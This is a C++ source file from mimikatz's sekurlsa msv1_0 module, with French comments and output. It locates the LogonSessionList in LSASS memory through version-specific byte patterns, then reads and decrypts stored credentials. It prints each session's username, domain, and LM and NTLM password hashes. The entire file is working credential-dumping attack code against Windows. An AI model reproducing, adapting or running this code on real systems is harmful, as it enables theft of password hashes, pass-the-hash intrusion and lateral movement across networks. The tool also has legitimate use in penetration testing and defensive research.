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/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "msv1_0.h"
#include "..\..\global.h"
PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL;
PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL;
bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector<wstring> * arguments)
{
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getMSVLogonData, wstring(L"msv1_0")));
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
}
bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList()
{
#ifdef _M_X64
BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E};
BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8};
LONG OFFS_WALL_LogonSessionList = -sizeof(long);
LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long));
LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long));
LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long));
LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long));
#elif defined _M_IX86
BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD};
BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5};
BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84};
LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG)));
LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG)));
LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1;
LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long));
LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long));
LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long));
#endif
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList)
{
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0;
#ifdef _M_X64
offsetListe = OFFS_WALL_LogonSessionList;
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
pattern = PTRN_WIN5_LogonSessionList;
taille = sizeof(PTRN_WIN5_LogonSessionList);
offsetCount = OFFS_WIN5_LogonSessionListCount;
}
else
{
pattern = PTRN_WIN6_LogonSessionList;
taille = sizeof(PTRN_WIN6_LogonSessionList);
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount;
else
offsetCount = OFFS_WIN8_LogonSessionListCount;
}
#elif defined _M_IX86
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
{
if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1))
{
pattern = PTRN_WN51_LogonSessionList;
taille = sizeof(PTRN_WN51_LogonSessionList);
offsetListe = OFFS_WN51_LogonSessionList;
}
else
{
pattern = PTRN_WNO8_LogonSessionList;
taille = sizeof(PTRN_WNO8_LogonSessionList);
offsetListe = OFFS_WNO8_LogonSessionList;
offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount;
}
}
else
{
pattern = PTRN_WIN8_LogonSessionList;
taille = sizeof(PTRN_WIN8_LogonSessionList);
offsetListe = OFFS_WIN8_LogonSessionList;
offsetCount = OFFS_WIN8_LogonSessionListCount;
}
#endif
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
{
pointeur = reinterpret_cast<PBYTE *>(&LogonSessionList);
if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe))
{
*pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
if(offsetCount)
{
pointeur = reinterpret_cast<PBYTE *>(&LogonSessionListCount);
if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount))
*pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
}
}
}
}
return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount));
}
bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity)
{
if(searchLogonSessionList())
{
LONG offsetToLuid, offsetToCredentials;
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier);
offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials);
}
else
{
offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier);
offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials);
if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8
{
#ifdef _M_X64
offsetToCredentials += 4*sizeof(PVOID);
#elif defined _M_IX86
offsetToCredentials += 2*sizeof(PVOID);
#endif
}
}
ULONG nbListes = 0;
if(LogonSessionListCount)
mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS);
else nbListes = 1;
PLIST_ENTRY pLogSession = NULL;
for(ULONG i = 0; i < nbListes; i++)
{
if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LogonSessionList + i), offsetToLuid, logId))
{
BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)];
if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS))
{
PVOID monPtr = *reinterpret_cast<PVOID *>(kiwiMSVListEntry + offsetToCredentials);
if(monPtr)
{
BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)];
if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
{
PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast<PKIWI_MSV1_0_CREDENTIALS>(kiwiMSVCredentials);
if(mesCreds->PrimaryCredentials)
{
BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)];
if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
{
decryptAndDisplayCredsBlock(&reinterpret_cast<PKIWI_MSV1_0_PRIMARY_CREDENTIALS>(kiwiMSVPrimaryCredentials)->Credentials, justSecurity);
} else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)";
delete [] kiwiMSVPrimaryCredentials;
} else (*outputStream) << L"n.s. (PrimaryCredentials KO)";
}else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)";
delete [] kiwiMSVCredentials;
} else (*outputStream) << L"n.s. (Credentials KO)";
} else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)";
delete [] kiwiMSVListEntry;
break;
}
}
if(!pLogSession)
(*outputStream) << L"n.t. (LUID KO)";
}
else (*outputStream) << L"n.a. (msv1_0 KO)";
return true;
}
bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity)
{
if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer)
{
BYTE * monBuffer = new BYTE[monBlock->MaximumLength];
if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS))
{
mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length);
PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast<PMSV1_0_PRIMARY_CREDENTIAL>(monBuffer);
NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false);
NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false);
wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword));
wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword));
if(justSecurity)
(*outputStream) << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }";
else
{
(*outputStream) << endl <<
L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl <<
L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl <<
L"\t * Hash LM : " << lmHash << endl <<
L"\t * Hash NTLM : " << ntHash;
}
} else (*outputStream) << L"n.e. (Lecture Block Credentials KO)";
delete [] monBuffer;
} else (*outputStream) << L"n.s. (Block Credentials KO)";
return true;
}
void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative)
{
if(String->Buffer)
String->Buffer = reinterpret_cast<wchar_t *>(reinterpret_cast<ULONG_PTR>(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast<ULONG_PTR>(BaseAddress)));
}
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